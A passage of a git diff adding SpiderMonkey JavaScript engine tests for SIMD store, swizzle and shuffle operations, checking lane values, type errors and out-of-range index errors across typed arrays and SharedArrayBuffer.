+ var I16 = new Uint16Array(new Buffer(64));
+
+ var v = SIMD.Uint16x8(0, 1, INT16_MAX, INT16_MIN, 4, 5, 6, 7);
+ testStore(I16, 'Uint16x8', 0, v);
+ testStore(I16, 'Uint16x8', 1, v);
+ testStore(I16, 'Uint16x8', 2, v);
+ testStore(I16, 'Uint16x8', 24, v);
+
+ assertThrowsInstanceOf(() => SIMD.Uint16x8.store(I16), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Uint16x8.store(I16, 0), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Uint8x16.store(I16, 0, v), TypeError);
+}
+
+function testStoreUint32x4(Buffer) {
+ var I32 = new Uint32Array(new Buffer(64));
+
+ var v = SIMD.Uint32x4(0, 1, Math.pow(2,31) - 1, -Math.pow(2, 31));
+ testStore(I32, 'Uint32x4', 0, v);
+ testStore(I32, 'Uint32x4', 1, v);
+ testStore(I32, 'Uint32x4', 2, v);
+ testStore(I32, 'Uint32x4', 12, v);
+
+ assertThrowsInstanceOf(() => SIMD.Uint32x4.store(I32), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Uint32x4.store(I32, 0), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Float32x4.store(I32, 0, v), TypeError);
+}
+
+function testStoreFloat32x4(Buffer) {
+ var F32 = new Float32Array(new Buffer(64));
+
+ var v = SIMD.Float32x4(1,2,3,4);
+ testStore(F32, 'Float32x4', 0, v);
+ testStore(F32, 'Float32x4', 1, v);
+ testStore(F32, 'Float32x4', 2, v);
+ testStore(F32, 'Float32x4', 12, v);
+
+ var v = SIMD.Float32x4(NaN, -0, -Infinity, 5e-324);
+ testStore(F32, 'Float32x4', 0, v);
+ testStore(F32, 'Float32x4', 1, v);
+ testStore(F32, 'Float32x4', 2, v);
+ testStore(F32, 'Float32x4', 12, v);
+
+ assertThrowsInstanceOf(() => SIMD.Float32x4.store(F32), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Float32x4.store(F32, 0), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Int32x4.store(F32, 0, v), TypeError);
+}
+
+function testStoreFloat64x2(Buffer) {
+ var F64 = new Float64Array(new Buffer(128));
+
+ var v = SIMD.Float64x2(1, 2);
+ testStore(F64, 'Float64x2', 0, v);
+ testStore(F64, 'Float64x2', 1, v);
+ testStore(F64, 'Float64x2', 14, v);
+
+ var v = SIMD.Float64x2(NaN, -0);
+ testStore(F64, 'Float64x2', 0, v);
+ testStore(F64, 'Float64x2', 1, v);
+ testStore(F64, 'Float64x2', 14, v);
+
+ var v = SIMD.Float64x2(-Infinity, +Infinity);
+ testStore(F64, 'Float64x2', 0, v);
+ testStore(F64, 'Float64x2', 1, v);
+ testStore(F64, 'Float64x2', 14, v);
+
+ assertThrowsInstanceOf(() => SIMD.Float64x2.store(F64), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Float64x2.store(F64, 0), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Float32x4.store(F64, 0, v), TypeError);
+}
+
+function testSharedArrayBufferCompat() {
+ var I32 = new Int32Array(new SharedArrayBuffer(16*4));
+ var TA = I32;
+
+ var I8 = new Int8Array(TA.buffer);
+ var I16 = new Int16Array(TA.buffer);
+ var F32 = new Float32Array(TA.buffer);
+ var F64 = new Float64Array(TA.buffer);
+
+ var Int8x16 = SIMD.Int8x16(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16);
+ var Int16x8 = SIMD.Int16x8(1, 2, 3, 4, 5, 6, 7, 8);
+ var Int32x4 = SIMD.Int32x4(1, 2, 3, 4);
+ var Uint8x16 = SIMD.Uint8x16(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16);
+ var Uint16x8 = SIMD.Uint16x8(1, 2, 3, 4, 5, 6, 7, 8);
+ var Uint32x4 = SIMD.Uint32x4(1, 2, 3, 4);
+ var Float32x4 = SIMD.Float32x4(1, 2, 3, 4);
+ var Float64x2 = SIMD.Float64x2(1, 2);
+
+ for (var ta of [
+ new Uint8Array(TA.buffer),
+ new Int8Array(TA.buffer),
+ new Uint16Array(TA.buffer),
+ new Int16Array(TA.buffer),
+ new Uint32Array(TA.buffer),
+ new Int32Array(TA.buffer),
+ new Float32Array(TA.buffer),
+ new Float64Array(TA.buffer)
+ ])
+ {
+ SIMD.Int8x16.store(ta, 0, Int8x16);
+ for (var i = 0; i < 16; i++) assertEq(I8[i], [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16][i]);
+
+ SIMD.Int16x8.store(ta, 0, Int16x8);
+ for (var i = 0; i < 8; i++) assertEq(I16[i], [1, 2, 3, 4, 5, 6, 7, 8][i]);
+
+ SIMD.Int32x4.store(ta, 0, Int32x4);
+ for (var i = 0; i < 4; i++) assertEq(I32[i], [1, 2, 3, 4][i]);
+
+ SIMD.Uint8x16.store(ta, 0, Uint8x16);
+ for (var i = 0; i < 16; i++) assertEq(I8[i], [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16][i]);
+
+ SIMD.Uint16x8.store(ta, 0, Uint16x8);
+ for (var i = 0; i < 8; i++) assertEq(I16[i], [1, 2, 3, 4, 5, 6, 7, 8][i]);
+
+ SIMD.Uint32x4.store(ta, 0, Uint32x4);
+ for (var i = 0; i < 4; i++) assertEq(I32[i], [1, 2, 3, 4][i]);
+
+ SIMD.Float32x4.store(ta, 0, Float32x4);
+ for (var i = 0; i < 4; i++) assertEq(F32[i], [1, 2, 3, 4][i]);
+
+ SIMD.Float64x2.store(ta, 0, Float64x2);
+ for (var i = 0; i < 2; i++) assertEq(F64[i], [1, 2][i]);
+
+ assertThrowsInstanceOf(() => SIMD.Int8x16.store(ta, 1024, Int8x16), RangeError);
+ assertThrowsInstanceOf(() => SIMD.Int16x8.store(ta, 1024, Int16x8), RangeError);
+ assertThrowsInstanceOf(() => SIMD.Int32x4.store(ta, 1024, Int32x4), RangeError);
+ assertThrowsInstanceOf(() => SIMD.Float32x4.store(ta, 1024, Float32x4), RangeError);
+ assertThrowsInstanceOf(() => SIMD.Float64x2.store(ta, 1024, Float64x2), RangeError);
+ }
+}
+
+testStoreInt8x16(ArrayBuffer);
+testStoreInt16x8(ArrayBuffer);
+testStoreInt32x4(ArrayBuffer);
+testStoreUint8x16(ArrayBuffer);
+testStoreUint16x8(ArrayBuffer);
+testStoreUint32x4(ArrayBuffer);
+testStoreFloat32x4(ArrayBuffer);
+testStoreFloat64x2(ArrayBuffer);
+
+if (typeof SharedArrayBuffer != "undefined") {
+ testStoreInt8x16(SharedArrayBuffer);
+ testStoreInt16x8(SharedArrayBuffer);
+ testStoreInt32x4(SharedArrayBuffer);
+ testStoreUint8x16(SharedArrayBuffer);
+ testStoreUint16x8(SharedArrayBuffer);
+ testStoreUint32x4(SharedArrayBuffer);
+ testStoreFloat32x4(SharedArrayBuffer);
+ testStoreFloat64x2(SharedArrayBuffer);
+ testSharedArrayBufferCompat();
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_7/SIMD/swizzle-shuffle.js b/js/src/tests/ecma_7/SIMD/swizzle-shuffle.js
new file mode 100644
index 000000000..7af98e2a7
--- /dev/null
+++ b/js/src/tests/ecma_7/SIMD/swizzle-shuffle.js
@@ -0,0 +1,507 @@
+// |reftest| skip-if(!this.hasOwnProperty("SIMD"))
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var Float32x4 = SIMD.Float32x4;
+var Float64x2 = SIMD.Float64x2;
+var Int8x16 = SIMD.Int8x16;
+var Int16x8 = SIMD.Int16x8;
+var Int32x4 = SIMD.Int32x4;
+var Uint8x16 = SIMD.Uint8x16;
+var Uint16x8 = SIMD.Uint16x8;
+var Uint32x4 = SIMD.Uint32x4;
+
+function swizzle2(arr, x, y) {
+ return [arr[x], arr[y]];
+}
+
+function swizzle4(arr, x, y, z, w) {
+ return [arr[x], arr[y], arr[z], arr[w]];
+}
+
+function swizzle8(arr, s0, s1, s2, s3, s4, s5, s6, s7) {
+ return [arr[s0], arr[s1], arr[s2], arr[s3], arr[s4], arr[s5], arr[s6], arr[s7]];
+}
+
+function swizzle16(arr, s0, s1, s2, s3, s4, s5, s6, s7,
+ s8, s9, s10, s11, s12, s13, s14, s15) {
+ return [arr[s0], arr[s1], arr[s2], arr[s3], arr[s4], arr[s5], arr[s6], arr[s7],
+ arr[s8], arr[s9], arr[s10], arr[s11], arr[s12], arr[s13], arr[s14], arr[s15]];
+}
+
+function getNumberOfLanesFromType(type) {
+ switch (type) {
+ case Int8x16:
+ case Uint8x16:
+ return 16;
+ case Int16x8:
+ case Uint16x8:
+ return 8;
+ case Float32x4:
+ case Int32x4:
+ case Uint32x4:
+ return 4;
+ case Float64x2:
+ return 2;
+ }
+ throw new TypeError("Unknown SIMD type.");
+}
+
+function testSwizzleForType(type) {
+ var lanes = getNumberOfLanesFromType(type);
+ var v;
+ switch (lanes) {
+ case 2:
+ v = type(1, 2);
+ break;
+ case 4:
+ v = type(1, 2, 3, 4);
+ break;
+ case 8:
+ v = type(1, 2, 3, 4, 5, 6, 7, 8);
+ break;
+ case 16:
+ v = type(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16);
+ break;
+ }
+
+ assertThrowsInstanceOf(() => type.swizzle() , TypeError);
+ assertThrowsInstanceOf(() => type.swizzle(v, 0) , TypeError);
+ assertThrowsInstanceOf(() => type.swizzle(v, 0, 1, 2) , TypeError);
+ assertThrowsInstanceOf(() => type.swizzle(0, 1, 2, 3, v) , TypeError);
+
+ // Test all possible swizzles.
+ if (lanes == 2) {
+ var x, y;
+ for (var i = 0; i < Math.pow(2, 2); i++) {
+ [x, y] = [x & 1, (y >> 1) & 1];
+ assertEqVec(type.swizzle(v, x, y), swizzle2(simdToArray(v), x, y));
+ }
+ } else if (lanes == 4) {
+ var x, y, z, w;
+ for (var i = 0; i < Math.pow(4, 4); i++) {
+ [x, y, z, w] = [i & 3, (i >> 2) & 3, (i >> 4) & 3, (i >> 6) & 3];
+ assertEqVec(type.swizzle(v, x, y, z, w), swizzle4(simdToArray(v), x, y, z, w));
+ }
+ } else if (lanes == 8) {
+ var vals = [[1, 2, 1, 2, 1, 2, 1, 2], [1, 1, 1, 1, 1, 1, 1, 1], [0, 1, 2, 3, 4, 5, 6, 7],
+ [7, 6, 5, 4, 3, 2, 1, 0], [5, 3, 2, 6, 1, 7, 4, 0]];
+ for (var t of vals) {
+ assertEqVec(type.swizzle(v, ...t), swizzle8(simdToArray(v), ...t));
+ }
+ } else {
+ assertEq(lanes, 16);
+
+ var vals = [[11, 2, 11, 2, 11, 2, 11, 2, 11, 2, 11, 2, 11, 2, 11, 2],
+ [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1],
+ [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15],
+ [15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0],
+ [5, 14, 3, 2, 6, 9, 1, 10, 7, 11, 4, 0, 13, 15, 8, 12]];
+ for (var t of vals) {
+ assertEqVec(type.swizzle(v, ...t), swizzle16(simdToArray(v), ...t));
+ }
+ }
+
+ // Test that we throw if an lane argument doesn't coerce to an integer in bounds.
+ if (lanes == 2) {
+ assertThrowsInstanceOf(() => type.swizzle(v, 0, 0.5), RangeError);
+ assertThrowsInstanceOf(() => type.swizzle(v, 0, {}), RangeError);
+ assertThrowsInstanceOf(() => type.swizzle(v, 0, {valueOf: function(){return 42}}), RangeError);
+ assertThrowsInstanceOf(() => type.swizzle(v, 0, "one"), RangeError);
+ assertThrowsInstanceOf(() => type.swizzle(v, 0, undefined), RangeError);
+
+ type.swizzle(v, 0, "00.0");
+ type.swizzle(v, 0, null);
+ type.swizzle(v, 0, false);
+ type.swizzle(v, 0, true);
+
+ // In bounds is [0, 1]
+ assertThrowsInstanceOf(() => type.swizzle(v, 0, -1), RangeError);
+ assertThrowsInstanceOf(() => type.swizzle(v, 0, 2), RangeError);
+ } else if (lanes == 4) {
+ assertThrowsInstanceOf(() => type.swizzle(v, 0, 0, 0, 0.5), RangeError);
+ assertThrowsInstanceOf(() => type.swizzle(v, 0, 0, 0, {}), RangeError);
+ assertThrowsInstanceOf(() => type.swizzle(v, 0, 0, 0, {valueOf: function(){return 42}}), RangeError);
+ assertThrowsInstanceOf(() => type.swizzle(v, 0, 0, 0, "one"), RangeError);
+ assertThrowsInstanceOf(() => type.swizzle(v, 0, 0, 0, undefined), RangeError);
+
+ type.swizzle(v, 0, 0, 0, "00.0");
+ type.swizzle(v, 0, 0, 0, null);
+ type.swizzle(v, 0, 0, 0, false);
+ type.swizzle(v, 0, 0, 0, true);
+
+ // In bounds is [0, 3]
+ assertThrowsInstanceOf(() => type.swizzle(v, 0, 0, 0, -1), RangeError);
+ assertThrowsInstanceOf(() => type.swizzle(v, 0, 0, 0, 4), RangeError);
+ } else if (lanes == 8) {
+ assertThrowsInstanceOf(() => type.swizzle(v, 0, 0, 0, 0, 0, 0, 0, 0.5), RangeError);
+ assertThrowsInstanceOf(() => type.swizzle(v, 0, 0, 0, 0, 0, 0, 0, {}), RangeError);
+ assertThrowsInstanceOf(() => type.swizzle(v, 0, 0, 0, 0, 0, 0, 0, {valueOf: function(){return 42}}), RangeError);
+ assertThrowsInstanceOf(() => type.swizzle(v, 0, 0, 0, 0, 0, 0, 0, "one"), RangeError);
+ assertThrowsInstanceOf(() => type.swizzle(v, 0, 0, 0, 0, 0, 0, 0, undefined), RangeError);
+
+ type.swizzle(v, 0, 0, 0, 0, 0, 0, 0, "00.0");
+ type.swizzle(v, 0, 0, 0, 0, 0, 0, 0, null);
+ type.swizzle(v, 0, 0, 0, 0, 0, 0, 0, false);
+ type.swizzle(v, 0, 0, 0, 0, 0, 0, 0, true);
+
+ // In bounds is [0, 7]
+ assertThrowsInstanceOf(() => type.swizzle(v, 0, 0, 0, 0, 0, 0, 0, -1), RangeError);
+ assertThrowsInstanceOf(() => type.swizzle(v, 0, 0, 0, 0, 0, 0, 0, 8), RangeError);
+ } else {
+ assertEq(lanes, 16);
+
+ assertThrowsInstanceOf(() => type.swizzle(v, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.5), RangeError);
+ assertThrowsInstanceOf(() => type.swizzle(v, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, {}), RangeError);
+ assertThrowsInstanceOf(() => type.swizzle(v, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, {valueOf: function(){return 42}}), RangeError);
+ assertThrowsInstanceOf(() => type.swizzle(v, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, "one"), RangeError);
+ assertThrowsInstanceOf(() => type.swizzle(v, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, undefined), RangeError);
+
+ type.swizzle(v, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, "00.0");
+ type.swizzle(v, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, null);
+ type.swizzle(v, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, false);
+ type.swizzle(v, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, true);
+
+ // In bounds is [0, 15]
+ assertThrowsInstanceOf(() => type.swizzle(v, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1), RangeError);
+ assertThrowsInstanceOf(() => type.swizzle(v, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 16), RangeError);
+ }
+}
+
+function testSwizzleInt8x16() {
+ var v = Int16x8(1, 2, 3, 4, 5, 6, 7, 8);
+
+ assertThrowsInstanceOf(function() {
+ Int8x16.swizzle(v, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+ }, TypeError);
+
+ testSwizzleForType(Int8x16);
+}
+
+function testSwizzleInt16x8() {
+ var v = Int8x16(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16);
+
+ assertThrowsInstanceOf(function() {
+ Int16x8.swizzle(v, 0, 0, 0, 0, 0, 0, 0, 0);
+ }, TypeError);
+
+ testSwizzleForType(Int16x8);
+}
+
+function testSwizzleInt32x4() {
+ var v = Int32x4(1, 2, 3, 4);
+
+ assertThrowsInstanceOf(function() {
+ Float32x4.swizzle(v, 0, 0, 0, 0);
+ }, TypeError);
+
+ testSwizzleForType(Int32x4);
+}
+
+function testSwizzleUint8x16() {
+ var v = Uint16x8(1, 2, 3, 4, 5, 6, 7, 8);
+
+ assertThrowsInstanceOf(function() {
+ Uint8x16.swizzle(v, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+ }, TypeError);
+
+ testSwizzleForType(Uint8x16);
+}
+
+function testSwizzleUint16x8() {
+ var v = Uint8x16(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16);
+
+ assertThrowsInstanceOf(function() {
+ Uint16x8.swizzle(v, 0, 0, 0, 0, 0, 0, 0, 0);
+ }, TypeError);
+
+ testSwizzleForType(Uint16x8);
+}
+
+function testSwizzleUint32x4() {
+ var v = Uint32x4(1, 2, 3, 4);
+
+ assertThrowsInstanceOf(function() {
+ Float32x4.swizzle(v, 0, 0, 0, 0);
+ }, TypeError);
+
+ testSwizzleForType(Uint32x4);
+}
+
+function testSwizzleFloat32x4() {
+ var v = Float32x4(1, 2, 3, 4);
+
+ assertThrowsInstanceOf(function() {
+ Int32x4.swizzle(v, 0, 0, 0, 0);
+ }, TypeError);
+
+ testSwizzleForType(Float32x4);
+}
+
+function testSwizzleFloat64x2() {
+ var v = Float64x2(1, 2);
+
+ assertThrowsInstanceOf(function() {
+ Float32x4.swizzle(v, 0, 0, 0, 0);
+ }, TypeError);
+
+ testSwizzleForType(Float64x2);
+}
+
+function shuffle2(lhsa, rhsa, x, y) {
+ return [(x < 2 ? lhsa : rhsa)[x % 2],
+ (y < 2 ? lhsa : rhsa)[y % 2]];
+}
+function shuffle4(lhsa, rhsa, x, y, z, w) {
+ return [(x < 4 ? lhsa : rhsa)[x % 4],
+ (y < 4 ? lhsa : rhsa)[y % 4],
+ (z < 4 ? lhsa : rhsa)[z % 4],
+ (w < 4 ? lhsa : rhsa)[w % 4]];
+}
+
+function shuffle8(lhsa, rhsa, s0, s1, s2, s3, s4, s5, s6, s7, s8) {
+ return [(s0 < 8 ? lhsa : rhsa)[s0 % 8],
+ (s1 < 8 ? lhsa : rhsa)[s1 % 8],
+ (s2 < 8 ? lhsa : rhsa)[s2 % 8],
+ (s3 < 8 ? lhsa : rhsa)[s3 % 8],
+ (s4 < 8 ? lhsa : rhsa)[s4 % 8],
+ (s5 < 8 ? lhsa : rhsa)[s5 % 8],
+ (s6 < 8 ? lhsa : rhsa)[s6 % 8],
+ (s7 < 8 ? lhsa : rhsa)[s7 % 8]];
+}
+
+function shuffle16(lhsa, rhsa, s0, s1, s2, s3, s4, s5, s6, s7, s8, s9, s10, s11, s12, s13, s14, s15) {
+ return [(s0 < 16 ? lhsa : rhsa)[s0 % 16],
+ (s1 < 16 ? lhsa : rhsa)[s1 % 16],
+ (s2 < 16 ? lhsa : rhsa)[s2 % 16],
+ (s3 < 16 ? lhsa : rhsa)[s3 % 16],
+ (s4 < 16 ? lhsa : rhsa)[s4 % 16],
+ (s5 < 16 ? lhsa : rhsa)[s5 % 16],
+ (s6 < 16 ? lhsa : rhsa)[s6 % 16],
+ (s7 < 16 ? lhsa : rhsa)[s7 % 16],
+ (s8 < 16 ? lhsa : rhsa)[s8 % 16],
+ (s9 < 16 ? lhsa : rhsa)[s9 % 16],
+ (s10 < 16 ? lhsa : rhsa)[s10 % 16],
+ (s11 < 16 ? lhsa : rhsa)[s11 % 16],
+ (s12 < 16 ? lhsa : rhsa)[s12 % 16],
+ (s13 < 16 ? lhsa : rhsa)[s13 % 16],
+ (s14 < 16 ? lhsa : rhsa)[s14 % 16],
+ (s15 < 16 ? lhsa : rhsa)[s15 % 16]];
+}
+
+function testShuffleForType(type) {
+ var lanes = getNumberOfLanesFromType(type);
+ var lhs, rhs;
+ if (lanes == 2) {
+ lhs = type(1, 2);
+ rhs = type(3, 4);
+ } else if (lanes == 4) {
+ lhs = type(1, 2, 3, 4);
+ rhs = type(5, 6, 7, 8);
+ } else if (lanes == 8) {
+ lhs = type(1, 2, 3, 4, 5, 6, 7, 8);
+ rhs = type(9, 10, 11, 12, 13, 14, 15, 16);
+ } else {
+ assertEq(lanes, 16);
+
+ lhs = type(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16);
+ rhs = type(17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32);
+ }
+
+ assertThrowsInstanceOf(() => type.shuffle(lhs) , TypeError);
+ assertThrowsInstanceOf(() => type.shuffle(lhs, rhs) , TypeError);
+ assertThrowsInstanceOf(() => type.shuffle(lhs, rhs, 0) , TypeError);
+ assertThrowsInstanceOf(() => type.shuffle(lhs, rhs, 0, 1, 2) , TypeError);
+ assertThrowsInstanceOf(() => type.shuffle(lhs, 0, 1, 2, 7, rhs) , TypeError);
+
+ // Test all possible shuffles.
+ var x, y, z, w;
+ if (lanes == 2) {
+ var x, y;
+ for (var i = 0; i < Math.pow(4, 2); i++) {
+ [x, y] = [i & 3, (i >> 3) & 3];
+ assertEqVec(type.shuffle(lhs, rhs, x, y),
+ shuffle2(simdToArray(lhs), simdToArray(rhs), x, y));
+ }
+ } else if (lanes == 4) {
+ var x, y, z, w;
+ for (var i = 0; i < Math.pow(8, 4); i++) {
+ [x, y, z, w] = [i & 7, (i >> 3) & 7, (i >> 6) & 7, (i >> 9) & 7];
+ assertEqVec(type.shuffle(lhs, rhs, x, y, z, w),
+ shuffle4(simdToArray(lhs), simdToArray(rhs), x, y, z, w));
+ }
+ } else if (lanes == 8) {
+ var s0, s1, s2, s3, s4, s5, s6, s7;
+ var vals = [[15, 8, 15, 8, 15, 8, 15, 8], [9, 7, 9, 7, 9, 7, 9, 7],
+ [7, 3, 8, 9, 2, 15, 14, 6], [2, 2, 2, 2, 2, 2, 2, 2],
+ [8, 8, 8, 8, 8, 8, 8, 8], [11, 11, 11, 11, 11, 11, 11, 11]];
+ for (var t of vals) {
+ [s0, s1, s2, s3, s4, s5, s6, s7] = t;
+ assertEqVec(type.shuffle(lhs, rhs, s0, s1, s2, s3, s4, s5, s6, s7),
+ shuffle8(simdToArray(lhs), simdToArray(rhs), s0, s1, s2, s3, s4, s5, s6, s7));
+ }
+ } else {
+ assertEq(lanes, 16);
+
+ var s0, s1, s2, s3, s4, s5, s6, s7, s8, s9, s10, s11, s12, s13, s14, s15;
+ var vals = [[30, 16, 30, 16, 30, 16, 30, 16, 30, 16, 30, 16, 30, 16, 30, 16],
+ [19, 17, 19, 17, 19, 17, 19, 17, 19, 17, 19, 17, 19, 17, 19, 17],
+ [7, 3, 8, 18, 9, 21, 2, 15, 14, 6, 16, 22, 29, 31, 30, 1],
+ [2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2],
+ [16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16],
+ [21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21]];
+ for (var t of vals) {
+ [s0, s1, s2, s3, s4, s5, s6, s7, s8, s9, s10, s11, s12, s13, s14, s15] = t;
+ assertEqVec(type.shuffle(lhs, rhs, s0, s1, s2, s3, s4, s5, s6, s7, s8, s9, s10, s11, s12, s13, s14, s15),
+ shuffle16(simdToArray(lhs), simdToArray(rhs), s0, s1, s2, s3, s4, s5, s6, s7, s8, s9, s10, s11, s12, s13, s14, s15));
+ }
+ }
+
+ // Test that we throw if an lane argument isn't an int32 or isn't in bounds.
+ if (lanes == 2) {
+ assertThrowsInstanceOf(() => type.shuffle(lhs, rhs, 0, 0.5), RangeError);
+ assertThrowsInstanceOf(() => type.shuffle(lhs, rhs, 0, {}), RangeError);
+ assertThrowsInstanceOf(() => type.shuffle(lhs, rhs, 0, {valueOf: function(){return 42}}), RangeError);
+ assertThrowsInstanceOf(() => type.shuffle(lhs, rhs, 0, "one"), RangeError);
+ assertThrowsInstanceOf(() => type.shuffle(lhs, rhs, 0, undefined), RangeError);
+
+ // In bounds is [0, 3]
+ assertThrowsInstanceOf(() => type.shuffle(lhs, rhs, 0, -1), RangeError);
+ assertThrowsInstanceOf(() => type.shuffle(lhs, rhs, 0, 4), RangeError);
+ } else if (lanes == 4) {
+ assertThrowsInstanceOf(() => type.shuffle(lhs, rhs, 0, 0, 0, 0.5), RangeError);
+ assertThrowsInstanceOf(() => type.shuffle(lhs, rhs, 0, 0, 0, {}), RangeError);
+ assertThrowsInstanceOf(() => type.shuffle(lhs, rhs, 0, 0, 0, {valueOf: function(){return 42}}), RangeError);
+ assertThrowsInstanceOf(() => type.shuffle(lhs, rhs, 0, 0, 0, "one"), RangeError);
+ assertThrowsInstanceOf(() => type.shuffle(lhs, rhs, 0, 0, 0, undefined), RangeError);
+
+ // In bounds is [0, 7]
+ assertThrowsInstanceOf(() => type.shuffle(lhs, rhs, 0, 0, 0, -1), RangeError);
+ assertThrowsInstanceOf(() => type.shuffle(lhs, rhs, 0, 0, 0, 8), RangeError);
+ } else if (lanes == 8) {
+ assertThrowsInstanceOf(() => type.shuffle(lhs, rhs, 0, 0, 0, 0, 0, 0, 0, 0.5), RangeError);
+ assertThrowsInstanceOf(() => type.shuffle(lhs, rhs, 0, 0, 0, 0, 0, 0, 0, {}), RangeError);
+ assertThrowsInstanceOf(() => type.shuffle(lhs, rhs, 0, 0, 0, 0, 0, 0, 0, {valueOf: function(){return 42}}), RangeError);
+ assertThrowsInstanceOf(() => type.shuffle(lhs, rhs, 0, 0, 0, 0, 0, 0, 0, "one"), RangeError);
+ assertThrowsInstanceOf(() => type.shuffle(lhs, rhs, 0, 0, 0, 0, 0, 0, 0, undefined), RangeError);
+
+ // In bounds is [0, 15]
+ assertThrowsInstanceOf(() => type.shuffle(lhs, rhs, 0, 0, 0, 0, 0, 0, 0, -1), RangeError);
+ assertThrowsInstanceOf(() => type.shuffle(lhs, rhs, 0, 0, 0, 0, 0, 0, 0, 16), RangeError);
+ } else {
+ assertEq(lanes, 16);
+
+ assertThrowsInstanceOf(() => type.shuffle(lhs, rhs, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.5), RangeError);
+ assertThrowsInstanceOf(() => type.shuffle(lhs, rhs, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, {}), RangeError);
+ assertThrowsInstanceOf(() => type.shuffle(lhs, rhs, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, {valueOf: function(){return 42}}), RangeError);
+ assertThrowsInstanceOf(() => type.shuffle(lhs, rhs, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, "one"), RangeError);
+ assertThrowsInstanceOf(() => type.shuffle(lhs, rhs, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, undefined), RangeError);
+
+ // In bounds is [0, 31]
+ assertThrowsInstanceOf(() => type.shuffle(lhs, rhs, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1), RangeError);
+ assertThrowsInstanceOf(() => type.shuffle(lhs, rhs, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32), RangeError);
+ }
+}
+
+function testShuffleInt8x16() {
+ var v = Int16x8(1, 2, 3, 4, 5, 6, 7, 8);
+
+ assertThrowsInstanceOf(function() {
+ Int8x16.shuffle(v, v, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+ }, TypeError);
+
+ testShuffleForType(Int8x16);
+}
+
+function testShuffleInt16x8() {
+ var v = Int8x16(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16);
+
+ assertThrowsInstanceOf(function() {
+ Int16x8.shuffle(v, v, 0, 0, 0, 0, 0, 0, 0, 0);
+ }, TypeError);
+
+ testShuffleForType(Int16x8);
+}
+
+function testShuffleInt32x4() {
+ var v = Int32x4(1, 2, 3, 4);
+
+ assertThrowsInstanceOf(function() {
+ Float32x4.shuffle(v, v, 0, 0, 0, 0);
+ }, TypeError);
+
+ testShuffleForType(Int32x4);
+}
+
+function testShuffleUint8x16() {
+ var v = Uint16x8(1, 2, 3, 4, 5, 6, 7, 8);
+
+ assertThrowsInstanceOf(function() {
+ Uint8x16.shuffle(v, v, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+ }, TypeError);
+
+ testShuffleForType(Uint8x16);
+}
+
+function testShuffleUint16x8() {
+ var v = Uint8x16(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16);
+
+ assertThrowsInstanceOf(function() {
+ Uint16x8.shuffle(v, v, 0, 0, 0, 0, 0, 0, 0, 0);
+ }, TypeError);
+
+ testShuffleForType(Uint16x8);
+}
+
